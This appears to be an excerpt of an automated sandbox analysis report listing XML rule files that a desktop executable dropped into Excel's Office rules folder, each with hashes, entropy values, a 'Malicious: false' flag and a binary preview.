SHA-512:	4C58966B6D98ACB0238300C1A3E1DD9E91B360B532B0EE7D05DB8A38F6AB8E4863BD3B79EFB18697875D802252BFEEA540754614D778BE8663DFABB1FE222FC7
Malicious:	false
Preview:	<?xml...^..+....e.....~....Yt.A-......h.K.&Pd.9P..y/......br.J."...H.H./u .>o.%..z..t...g_.7.=nh(b.....w[g.)..b..7...\..i..\|...W..\U..K..hy.F..x+)DU...Y....3'3..$..ywAx.. ...{.hA.U.DU......R.c.u....q...w...+..yQ.IK..:....Y...I.4...;..........w.g.g...$'.3%..\ <&@.....g0.;...&... .........l-..rHD...x.?.b..6..x...`V>.&H.s..7....V<.....y..C.0...5.E...>...e\|..Q2.`;iz....W..#0..6..X.La T.6r...0.0wB..."x[....(.N.?.B..$^zJ......l... ..Y.M...~N...U..y.....Y...\.D.[.j.D....A?....C.,d..j... .b..C7.....p.Zf.s.z.:.h.........s..)......#..)..+.\|....O..^...8.9.x..`z%...^..oj..p...H..7.{.R.2....n....2...o.^;.'...,.....t8tlR...Ot....H@..G..4(......i...i..2...Z7.d`Q.k........^v..o.p...K0AU.7....G..-....(..8..u.~.`.?....n..>.\|.F....\|a.z.W.....(.....m.R(B).7C.xj:r.49......{...l\pLR.(gI..5......M.#.......-.H.....j.M..5>w..N...Y{.E.i.S,\|l..\|... ...D.PH...j.;....^..!.1.z....{s..^.M.U:.\....c..Q0m.ej.1.v..l;.[..j......J....W..6.FX8..M@>...c.M..[U.:......4.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.791563071927932
Encrypted:	false
SSDEEP:	24:bw1NLWrrvWVD8R3/HpDa+vjr9Lw9RRYSrGrcVEQwiTkbD:01NYrvlR3fp7ZLMRR/rGrQBiD
MD5:	65DAD67A9B43B679A34C3995EEE2286E
SHA1:	723EA19E886CAE77C7A4A6ECDB4697CE74AEF227
SHA-256:	F7566611786163A93DF895E5BDC68E8221DD8E732193E63DDEE85A47F0F81099
SHA-512:	6AE902CB85B263CB932FA37866A70FDDC59809C2E14C6776EE842C6711E7288B6A05F13AA830510305C75FA847FD6536FB85BA3C2C238774C83E31525829DCDB
Malicious:	false
Preview:	<?xml{g.y.....k..mB`...=....9..\..;.W=?q.._M........y..S[...znx.K...Z.....c1..@!....n...?:.D..?./...\..k.?E..LP. .T.."v...;].....-G.y.....#....FZ...........3h.1..+b.B.)vd)...P..z5.p.`..."h..rr..b%...l.87....+.Vk...{..{.:.H./>i.'_...S...w1.\.....{x........E..e..b....z..._~.H.....>.. j1.i...{Tq....V..,..u.c.....6.E..$9....U{O.].ny..3.q..3.u......KV...b5..5.EZ.P.+.i%.m..@(.m./....Z..g.....)..>..2..Q..)3.@K.P]..:......../ +..p.....F.C..!.}?4...O!.Bw..e..{GsPXa=.!,.j..Pr]..>o.jt.....PC0qH.z..p;....+..&..,;..,T.......h..?.%.....,.l....xMt'.U.x4..........PZ.E..&.<..x..}...+EK.0..W..&Qc......FP....}l....bw+.@.E...&c....Mr..r..5.x..a.~..67(H.z\|QN..9...Y......f..f.+..5...u.n..9...x.....#/..B.!E...6.;.}......TY\|p-W.....4a..>..,.]..../....[J$`2.....Qv3&./...+OL..UC...PCx........... .].+....O..@...u....H.......B"0.).......<8.{Cp1..:._\|........-...Aa..A-\4....l..?...LI....N.b..H..u.7..iEh...EL.p...2..M...\...Jcp....r6yxl1GT8iG2X6JaJ1YNnYz19XjwM

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.731278310735439
Encrypted:	false
SSDEEP:	24:9JeYRKbdMrw8gzQlfW/BMT4CJkbNT98iTkbD:9Efz8uQlOJDCJkbNT91iD
MD5:	45C20C801F59BC64770E32BBE936CD67
SHA1:	C429E926791CC7EA6C2E9146CE31E21E4DEA518E
SHA-256:	04E7274D671292BF1641D18EDDEECAC028BDF58BF5F958A2D788E241DE41B828
SHA-512:	F3A9A758905CF82C8F2CC7DC4CA26826F44CA38917355FD71890D17393BEBC2340D44260ABA557AEECB0E9BB75432C827E25883492C99E7E8380FB219A9F9F25
Malicious:	false
Preview:	<?xml.mQM....&......y4u!.0.BU.s.\|.w".=~.+..'.1x)N....9.}M.M.....]DjMP....$F..@.....9Xs..F$..FZ.@;q..YXsOU..pZ.}...m..P...\........@>...NU.5.?..8........r...68..9?..W...@.....$pna.>w..'......A.#x...7.;_Rb]4.v.Gi....l.....2~.(r..w}&.Q+.j....?).....e.....gI...'.aO~....8...G.B....cu..{1...!.V <..c.z7....3..A..D...........iy;.l<..o.. "7..r=.._.x..,...D..3.X.)..O..._.M.E..J...=_.._#e_.}tUh.UI..]}..%f.c..L...Fl..3,.6..uU+.b._t Q.D&..C'.=.=.....7..8..T.9.@......).`....B....$l...<:...=M.5}P.6.....E.r....U....S...f.D.'..x.......Gp.^.....6....D.x._........o4.T...EF...r....Oz..q.....M.........9...`E....B..R.._...(.hbo....Gh.q>u.O..v......5....)kgx...d.R..8.HA.6.\|..........l.O.I.A...y.6.m./...W.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.715054972403441
Encrypted:	false
SSDEEP:	12:vh0jZDYAcjJsIEhdf0FPdTBwFgdSOJamjrbU+o2RQ0hd9fDT0DUigixpZacii9a:vhYc9s5UlFrJamj62QGcgiTkbD
MD5:	43CB695706F5FCD774458BF6CCCEC334
SHA1:	C5C480693BD1C67DCB64BE95944C1D33B3EDAFF2
SHA-256:	DBD69E7F9875116F41B1AC15F8FC8924A55CD9D9791253205784C2ECD8092E4E
SHA-512:	34D2BC35E9C7805C2BBFA7C0B198DCF50E39C5D7AD5E167212CD3AC6CB8B7CE93ED3564F260E60CB0CF23AFAC3A73E4EC396CD5ABF5BB110F1FB5F6285C92B73
Malicious:	false
Preview:	<?xmlD}i.p...0R;A2.~Cy._AE...v.. ,V....!RH..\|.F....G8..]...]..L..".v..@m.~..).dk}...Rlt........g..DV5.S\# _.r.......!.b`+Y.y.h..e64}KN..9&...zX..g.8.[g.Ol,..A...@K..>.;..+.CI.&s......yy.0...2f.7..e..0R.uG.T....y.&.MO..;#H.....e....5...{....!..(........+$#KGG6...NV..L.......>...\.T...k.0...-..U.d....q.Fv.g..v..ea..>.t..:T:...v....B.?%.i2.z.G...#....{...`.0....3.h.O.M.0.nA.K.3A.L..l...8..#b.;.....[...]...e.&W.Ku....F.u..&..u..L5wF.).....P6..r.K.U.},Y~j.. TP.uR.<..\|m...[..Km....O.}...._..........L..D.....O.v%pYK.....9.k.K.1..r..;..5...;E5..jek.@F.gF.q..{x..#..W...J.t..LE.&.V..=c...q....././......."4...E......]..l-<.12=.\......w...V...Q3..5..<\...LO)...W..L.'......w.d4.tv1......9..(...D.....<..ab5I..../.......X... Z....j.SM.W[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.742866479466226
Encrypted:	false
SSDEEP:	24:W+a61qsACuciuMfEVRgg/uR/I+nv5HRdViTkbD:Z8saciL6uR/dvFRdsiD
MD5:	6AB216B51FBE156C44501E266F2D841E
SHA1:	17A1C867CC3DDE3D7886D85A9BAEF8CFD501402E
SHA-256:	FDC778BC677FC19EB40BE22120574DA25FC4EE0370F4A073D55C8717112E969D
SHA-512:	AFCC5F806CB4A9AA2FF91C571DBBC2FDD7AF9838AEE51097CAB234FADE87AFD9A233A790BABC1A2DD8C6379FCAD811FE19571A7909C419240E87C02765E64705
Malicious:	false
Preview:	<?xml.j.F....\T...o........_/... .?.S..1.Hv..!6...!....\....A....E5^&..t.gE60......GCY.}p...}.......... ;........d..dV....z.hp=.+.....?Y"...]5...).`..s...l{...<..'~.v..s7.R.....;.v.HV.v......~.k..:...R..c.{.SY...Y..R.C.....-...=..t...;..v/....E.-..B.e..m._.`..Em.'......j.;..#...cJ ..4..l..S......B..=->j[a....\|. {..W..[..G.KTJT.%I ...%.._?Ad...D...p....e.....cvm.K.k(r?......t6....@.e.G.F.E.Q#......LV..0......-..j...pyDB..iJ....(...V......[....r..]....)..RWfy.&4..D2..$..6.b...@.H.;9...+....H.F..YO......ZaS7.&..3Y...<f.RPA.g\.b4!............7.G@..ca/uJ....gP.I_.M..gj5$..>..~..A..O..k\N_.9N.m@Z...i..Z.......xrG.>Nf~....N...w.x...^....h....m..Xd.A.j..z....k.`p.P.....'.U.~..`.P....6.x...<.>K..3'8...w}..y..Vm..v...d..!'.....ea.&\.K.<._%.(..P7J.)u....`!.Y.....@.....;8.u.....%....4..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.943821491329974
Encrypted:	false
SSDEEP:	48:7FOEMTv88ybLUsJjh7qMj1he3UUMbHJScUtLxwPL4J9z++MZh0e4eh6aSTHXiD:ncv8FbLU231wUUKJScUtaLcdM8a4ag6
MD5:	5FC286B85779F397B18375AB42B99A0A
SHA1:	8FE6D5120A8880B2F5EA2A36EC5C9D7C8E934316
SHA-256:	44459F9163764F4ECA5E068DF3EB7E491B551593DA644A1D82343F8044009C7C
SHA-512:	2B493ADC6911319B33B2BFB7B64A32846B94242DB8F16B7D8B111A8B281D530D0E86CDAA96B4327FC66D08D9F93F20325F4441FFFAF8258CD430E865EDD23C1C
Malicious:	false
Preview:	<?xml.!.#......u..&.....}..O.%...Xe.......k .X,.j...z..2O^.Q..}..0,.u..]G..O[[.;<.[..>..>.I..EQ)....m.hl.L.I.V.i:....J.J.5.d8.B..z+. .t.~..2..:...$,M..-..f^ky.......S..............G..@4.f..{.P.\.....!.D..>..4.,.VZp.<..;...~4....kY.g....o.~Y......._Q@L.nm..[....k..]...8.......V..WB..H.I.Jx.v.4....D..\|.E...P........<S`..n].=....8..c..k....i.....C...p...&t.f..T..U.i...9c.%TM,sa!c....L.c$=...0;D..f....B...Q.(..2.......i........(pfP..."..\.gF.?....{.q..6..;.J....]..E...x....h{...V..Q.#.{.!E. ....D.....m.....ST.....{%..fK);.....]p.."......6..S......n.F.uX..h..p....%....I..].fF..[......X.0.#0.bV.>....l.r.=.......+(.L.a6_}...o...D...p.?.qxp.X...?.....4n.O.A.~v./....ZB!.X...I.h...2Zl.o..Wa..O.....dJ.-t.KI.>N....;S[......]...aQ.r...}..;.)^44'..5. c.B.U,.L+..l...4.........p.Z.U".._mIsn.........-.j......Q!T.M....a. bc@1)...X......6...!..::V....DaN.mF.P.0\..l.._......u.&.=..%$.-s]&t....O..o...y.q)..]R...cU.v..)...?mA..N..@Z.R,.&.Cb..=A...6?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.764650876626177
Encrypted:	false
SSDEEP:	24:2h7nzKv7js0TIj58nmRu4AHwSagpePRdHosM3ehiTkbD:4zefs0TE58mtAQlggpdHlM3liD
MD5:	311A1C86D29BBC0FE4441E1C9AE696DF
SHA1:	24E3470286059C9C7D2989077B0D219CC2BEE149
SHA-256:	840E4FF44CBE88A07AB18FCFFAD018133139569A926AD9B04390548EBE9ED4F4
SHA-512:	55BF87141F41CC090CAFF756330E130D2E82E32AD9B745FB12BBF4C1532904E1E6323F851A5C610EDF1A2D0325968AF0C4F6A47F31801556067DBE463EAAB8A9
Malicious:	false
Preview:	<?xml.#\|.k..`...y.u2%.a.[...w.....>>..J.u8....s...}"!..(~YA......]...B@.....i.........kU..... .....g..%.IW+\|...o.+....d,.1..X....n$xW.9.`..<...0.5.k.....?.....L......n.....\s.WQ.../.+.o....E]].z..I(.^o.}...?...Z`.M.....k. .....%....r.k.L8.............3......w.2=..!k..j..... ?.K..?p.o..f..)E.f..-q.._..<"."...7...P.R.#....x.....\.Z...0....=....v...U.e3........e.<}..(TC.1M....a.........."..(.m...'S.4.[K.......?p:.....o...1..C.1.[...+.x.+m...2.q.......h..6_.=QZ=....jn.r....b.8...G. ...~._].6hcs.......l..$..m.8;&3....?...Q...].'-.~.).P9I...%....;.[...D.H\|-..."..=..4...i.#.sI.1z.R.=.N......}@...TQ.+.t.m(..[....o<^\.F%J.*6/.....@G........../YMKz..._:...".?.g.+.K...Q.7Yl.tS..C.K..\|..}}.XM..{.~.S.H.........S..4.AA.r.9.....J..X....i...5...W.\..-.?4....<..).......F...(.).x'....(..D.6L.7.j3_}.ujr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.744540812384401
Encrypted:	false
SSDEEP:	24:8WDWnG9fHa5kUe0HllpyVqqj+oF+pn/fXs1ZWDrBMoaxjliTkbD:8mv2Xe0HP8+p/qGwciD
MD5:	DBC09C95A1E713E890527D330D78B3C6
SHA1:	7214C36F1DEF412DAEB0B451E3B39A03ACC5456E
SHA-256:	89E89820E5C427DAB90ED3CA3CDF7085D44569F60FC76D5C7CD1F90F6C2C60EB
SHA-512:	D0B14F2CAB11A5E72D67AE780C2A9464DBF183250D3D68768DF6A836AE90A0D23D00E7A7DD541CC56BD20EF4118B29261523FA1D15A9BF973D09B3171F00FFBB
Malicious:	false
Preview:	<?xml...u>/R..]._......%..X..H.(..\W-W.....98.....a...l..\|.34....U...x..U..R.....H.:...jb.d..G.?...p...8K.)...;r?.].!...H...fP\N...pz.QF...O(J.../w....ad.f...aw..N..8..s..\.Y'..)k0y.I..F;>...}y].(.{..{Y...S.....:.P.\|.nf%.T0.......p.q.0(....w.]....S/......>.b..P.+....Z.[..D..%.4K..........J........f.`....D%.W......{..TH.[..I..q-X..u.E...N>........G.PZ_iwb...z..8.b7......8w..............o..b..\.2.9..Q[.?.kb.`.{DP...L...V..Z..z...;AnZ.........sL%......a0f.........G(zIEP...P..f...e.0%v:..Vn1.3+@.....D.........(X%BN]...P......`...r...h..P.DT7Edh0T}`{A.j......8D.X.lE/.j._...:r..?...X.4..v6.....7.....>..%...\..j....@..w....-......U...4.#..T...Iqq...}..T...t...>.}D.....\|..[.!.ou/.Z7d7.G..:.....M.t.8X...R.....},=..{w\."....QGcY?.]....l...%c..*...%oVX..4..g........#a..Y.xo>............S~....e..A...{.H.....b.U.>.#..v.j6.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.748584836059566
Encrypted:	false
SSDEEP:	12:lsjcNEbc34lWz0l3Ab4i80KAdBZrJ1GmPPxQ9F/V05i2QLILixpZacii9a:3gEJ4iZp5rJ1G0PY1Vr2XLiTkbD
MD5:	A063FFAF93B5E29E48DF7BDC71257045
SHA1:	B154A6ABF5627EB53220F83998A7E485536DC442
SHA-256:	9273C2B309B03991DBE5931E091A55B9242AF06B70A49C8B3375DC44CA1D790F
SHA-512:	CA1C9DF3E5132329424EBC8E085BAA5E26F9EEE00C0901DB0294D236B64A1EC333E63408EC17B8928F06CA6CDFA1F42E9917A9A607A8467298B5CC4D4C146906
Malicious:	false
Preview:	<?xmlv.r4p.........#w\|.>..;1@AW.<....\...WAF....}..9....9..Jmj..0...IV.?..o.....V...].......P...h!..R.....]K...3...\|hs.L...G.!\..Mf&.~.O...L.;$..cl:..+.NcFT.#".J.....7.@....$.)m.......1..y....6..J..4S.KhU..X.EJM..........w^v.....~....-..y=2'u..O.....R.........b.3.n.>.W.....v.W....dE.8..z...@.k.....Q....hu.&..11..7.....x..BK8.....+.4..Pq...%sdz.r..Y.R..........2.&.>.....p......y...(eC.............K.x;..LJ.,...H.R...t<.t.m..A;.% Z......?,j.......Y.zH.C......MU.j7..p".5AmPb.....Dw.":G.U_Q.......\|.t..&........$).C...4....8.......;d....0.Z....7.).. ....l...7n(...a..%u..!$..u\|j._f....$.c.e.T.#....d.5z~/...&+...c...K\.8.pi...i:p3.G3..m...$.C.v....e...Nj.Z.7m..e~.Rh..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.765263001466
Encrypted:	false
SSDEEP:	12:2KnJKtXiR9mSmiS7FBbVe/67TOTWWZy5MpjUS2z7oeBtVsq1jnJ0DvhLh/ixpZaX:tnJKtyf1mReWWZ3EB4SJ0hF/iTkbD
MD5:	20E6DA8BF118893F2EF63E96DC8C7DA7
SHA1:	B2EEC0A272771E2C020A58D16D79E62FB44A0A2A
SHA-256:	C57BEB39712AB7CE326F73504F0325F30EB22657D8AEB05F1F76E25BA612FBD0
SHA-512:	30AE0C9CD3A18C826BBBA1FAC82344C8BC1665AE8D60C8E3DDC83B6B900B517F1E5572C42E193E21307124748D7CF7FB066F72227BDB2B5C1DC4E6D2564F2DAE
Malicious:	false
Preview:	<?xml...by~.s/;.o.....l....:.I..8.pr,.U.B@`..F...0..........;....H.B..{....G...Zn~..a.;g....6&}.P..+.\|0`.4o...Zk.....t..7.SB[..&...P.#..B.B.W~K.2&..v.&....W..p6......,.[g.6.....3B.3..l..`.OH"a...\|i}.I..9.hI"+..S.&...;:..Ss....&.,....@r=.b.i......(..6.PqH...x.Z).@9.QA.)...4.lc....a.r`.E.~.E./....$'M} .z...U....0y....a4w....o......n..5}...l.(.sjh...e^s....Ro..j........v.t.......I<..,}.....4qu~-....a.c.M.b.......l.]..=..Zv...!.s....<`...Q2W1..Y...D...-6.....8Q..Q..P..p.g.H..MW....PF..$Ft...7...*.`......o......lX..u$D.9..2.\|5....V.../.......k.B`.G.$.....K .Z;..!..?)[...i_.#.(.>N..V...q.RB%.z...kK...2.[...._A.../.Q.....;.b..E..1.]-..W.....8.../.].iky.L...]...._.Rq..=o. .....G.orp.........G......#t.D.......3m&.d.Q..s..L:5.J.y..-.>h.!.8...$O.f...`w:.p%.;.ai.q........G....e........1..]..Yy...Y.1.8..../...:$+.F..Q..j.=..W....U};....g.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.816568795415175
Encrypted:	false
SSDEEP:	24:pUZdVBmyBfAlsq+cy2IIrCTp8OKeV2hjq+qqJ1CUmVHYjWZZiTkbD:yd3Asyy2IIrOkm2I+9JITHY5iD
MD5:	151F342817FBC23D42BC0D7E31996877
SHA1:	4BFF32798D6D3AE22225F522F71A7B2B0E8BF82F
SHA-256:	E9AE0481CB4DE5DE803BD6D9BE29A7EE0D416CE34DA493A03A4A5173CB9AE9B3
SHA-512:	20F7CB7D8D56BBC2636CC69E593D2CDCB91A55E519E95F87B3DE15F8A5E9D82CA37D825BB3C138EDC8BD2E868806EB5AFE6A1C1113C832E676A73DBE78057114
Malicious:	false
Preview:	<?xml.....N..M.I..2.`.LpQy6Y.%.....v@d._\@...q{........s..:;...o.....}._5.....D..o.....S...pjh..../....M?.G...._Vm:.BMKqo........)M...#.Y..D.......h........b.]u..)...g.j..c..1.=te..r.R.......2...6........fi$.S...4......./7.6\|.Um..8...5.....t..g.."....3?.N~Myp.y...YPM..Q..l....50.6..$i..e&8..>.J2.E....y.....]..+.d...J.X ...(.\..U.S..Y!...iG.H.W..YJ........n\..@."...Ee....e.'.R}.v^.7.@..x@..'.(.b......-.\...@U......o../....2.....3.=\|...7.Iy.K...@!5.....sMF4Pdl....P3....d...\..mL.Q...<.<=....b...J:BGB.._/.R....:.4....a.9..w......c.`...=Q..4l\........B7\}.,...6]-.j...&....+!.`.:=r0x.....[...-....Gw..f;.1..3...0N....e...v.....2..W.....;...< l...[.....O.V....f...%1.....j..%.L.K..f4XP.G.C........NGT...k..J_...yn...P..&Gi...$.{wR&..F....S...\h...o+.].FCk..k.\|?y.W..N.b.. ...(+GozF&.6a.:cl4.......b8..s....tUT._...,..^X..wU&... #..j.N<.H.6.`...<P..6nH..r.z:...(..V.....k.[......).!-iJ..h.gz...o....a..iY..#.2..(.?.3.. ....c.;-..!.?.J.u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.799750660787228
Encrypted:	false
SSDEEP:	24:muqb+hLxgjgryIYP7GLLEyguQFNFoBKPyDbxPiTkbD:Eb+hszyl4o8y5KiD
MD5:	13BEA5A3B84F5D5BA121BFCC3DD6562D
SHA1:	3C5E47C7A48E3EF42A6E2C3B9A5A104C0CD6A47C
SHA-256:	EB12C175BE48E0CF5F8681F73CEEABF51C1D03CAC4F60EF65492F2A141DC4EB4
SHA-512:	6D5DFCA8045C4EFDA8FB8666E0AF7059F6158B5C979A8D2851DA61C57B55D0367EC5FE746FCF0F7BABD690318F5AAD5D5DBB90552C5E5D785DFCB95EA296ABCD
Malicious:	false
Preview:	<?xml6t...M:..eDt...m:O..#........u.....~&.....o#/p.u..9:o..Xe~..]..\y...9..w.Re>6..9'L.....R..._^K3....e.....P8.....U.....7.u.Ot.....".D..QN.F..[.L...zP..8./Oo...Z=....e......e.J.....<........#r.F.D....RW70.0...l..g.+.&`..Q..k<..W.).4.~.B.iWa..:.QAM..u....6.y...S....>....^.<.n..N....q."....#.!D.9......v...E./.0:.7...(. .[.!...a@..C.i...T....&3..3<.....f..V..'\..<wf.a..}G..-..pi.E......;R\|..h.F`..P............zU....m."..x...6......#li....Zn.u...d..-p.O/.2'}.q...u.e...J_s..D.D.T....Q.]d.2....o..^.S....s....j..>.?9....'.J.S.`{.%.g.C4.<Qix...Hy.49.8.8"...j...F..T~..1.(....h...j..t.&P.....0.6.t......6....%e.HH.2si.7\x.....pE.Z.t...T`@...].[c...k......ZE$.YG..!D..r...pg....Ey(.DR..P......c0.Y..;..z...d...o.Ct..H....{.#X.+@N.{-+..Y]..W...L.h.N,..l.....2.......t.......@X...<.G....&....%.$@..EH......C.r%.!..'+...............e..?........./j,{...1.WG.&r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.742029924458009
Encrypted:	false
SSDEEP:	24:38jEyGL+MK9IXW3KZdG7xnBSxIBl1GL6RquKldhFiTkbD:38oyGL+Mq13K/ExBSooeqNmiD
MD5:	EADBB6A49AB42E640A35427706F93E7C
SHA1:	C469D06DFC6DC74E6CFB2E1DB5D14046931187D4
SHA-256:	14C60E65C7CDA3A1FBCA1D39867A71D2E1DAD6B21A4FEE0497287AC065BCC098
SHA-512:	F4804FF0C2044C9B445EB22335089EFB26097C7DE90232C0E3278254FBB38919EDB14E6511E75172F194FE65958E9F8C1E6744E4A1B9B3635938E32F77824153
Malicious:	false
Preview:	<?xml?.8.....X.......m&j.>..$......Nfo.(...~1.f..[..2.A^.&9/n).0.4/4>Ft.[t%..7.S....q..9...;I.B...d.r$....@Na.AA..rd.H.;>.4.._S..%F.........@.~.."R..V~,HL.......e.%L.Y6/6.};{.....'9.t..)........N.4..Q........=..DY....+....e}..$.T.[..9.f..a.Nvr.`#......'...b..b.e....A.q.&...C.XhL....".^N.$...D[..F....j=....X....xQ.i......t.~V.;`H..X.......@....5,.#..j..r.g.._?'sx..P..Y,......9.NX5W+p%.w......&........r[Q..P..........!...........x...k,..O.Y.~4M...'...,Q....v.S...}H:~Mo} .x.T..S..#z..........aFiwz9TtW?..A...QL.jl$....S._*.6...~..pPZ.VCh...!Q.............P......n=..k.........3.H..2.<e..qj.J.Z.g.i.-.S.K_..S..& .".5...P.<....%/....`......(.D..E.O.a..@.u.;......M.b.J..Ia ...yV.{._.p...A'.Zt..[X...?R........`..%.........b.s....!.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.790512567233942
Encrypted:	false
SSDEEP:	24:3aCyJpV9/jsLktlVsgjDvDhDPLA8uGFqr5zUiTkbD:3aJXpsAtlVuyqVzNiD
MD5:	46B1C176BCCA1EF0BED94619AA5ECCD9
SHA1:	001B71B8C300A06A6B53EE217D860864F7EF7F9B
SHA-256:	D730DDDA65694B7925276898F3CDF89E9E84EEC50170B57837E14026AEBFD37F
SHA-512:	2056E5FD77FCC2C463A5861FEC18673BA70CEDEC087092DDAABBEF087278CBA63E7C551B27EDA76D22B5F91E7FA2E7B3FD5C901C1277E9094D674DA4329E20B7
Malicious:	false
Preview:	<?xml.v.D.......v....ms1...=..~.....'.{@.....G.....96/j.Z...!.?.)m.........;.8....[..e.#.#.k....?.-c.X....Y.T....f;QA)T.l.{#..Zb.>...).+.,\|.%.I..^.(."F..o.i....6...5.d..C.t.......&..H...X>........i..h.sl(......y!-....F3....x..sE...K...3x.7.....%.A.EQP..lO.1.......%ST.^2q.G..w.`u.-K...."l+......x...r......] ..c.....b..2..F.IhE...(.b..q...B..D(..Y.a.....{....6..V).e..IF.q..5.X.....$...........t-.Z4{N.....D....].....<n..(.Q..#Td....>M...\k3..Z5. ..V7.E.T...+...b..v......R...\|N..D..KW.:....g.R=...\...._...@...3.2.f.U(.b....l/...0.n...[.V.rsM._..w.8..=.....v.z....c.".._....}.&._..5.g....M...>...$..(.d.W.Qn....E[M.8H./..s...v......ep.8.{............:.#...p:......=.....a+Yt.m...K{._.6.^.~f^..;..Ue..'p....T...O<. ..N.v..a.L...\.y)q....s.(Wd...b%..m>r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.704748309997442
Encrypted:	false
SSDEEP:	12:omrqB4dX1QY5GytqznCvzka43ib2R43i/9C1CxoO72734Iypgiz79khGixpZaciD:omE4dbt7vY8aTI1K7ahyppxiTkbD
MD5:	001CA43EBC6EC01503A1AFB333649ED3
SHA1:	CF0FB6D59EA3A346128A650A9DD9F56C909387FC
SHA-256:	0C8AEB7B0D48601EB2B5B51FA7E9F3562DD3DAC2D91E3508BC2FD8E83C65D834
SHA-512:	E504A70D7212015E1D2ABF6686D9790F3CF916464DD9789D67DB16EC8E3FE73C105B37AE11183B1721AAB3E59FE2F3E6BBF157EE326194CA6DECACAE6E40A550
Malicious:	false
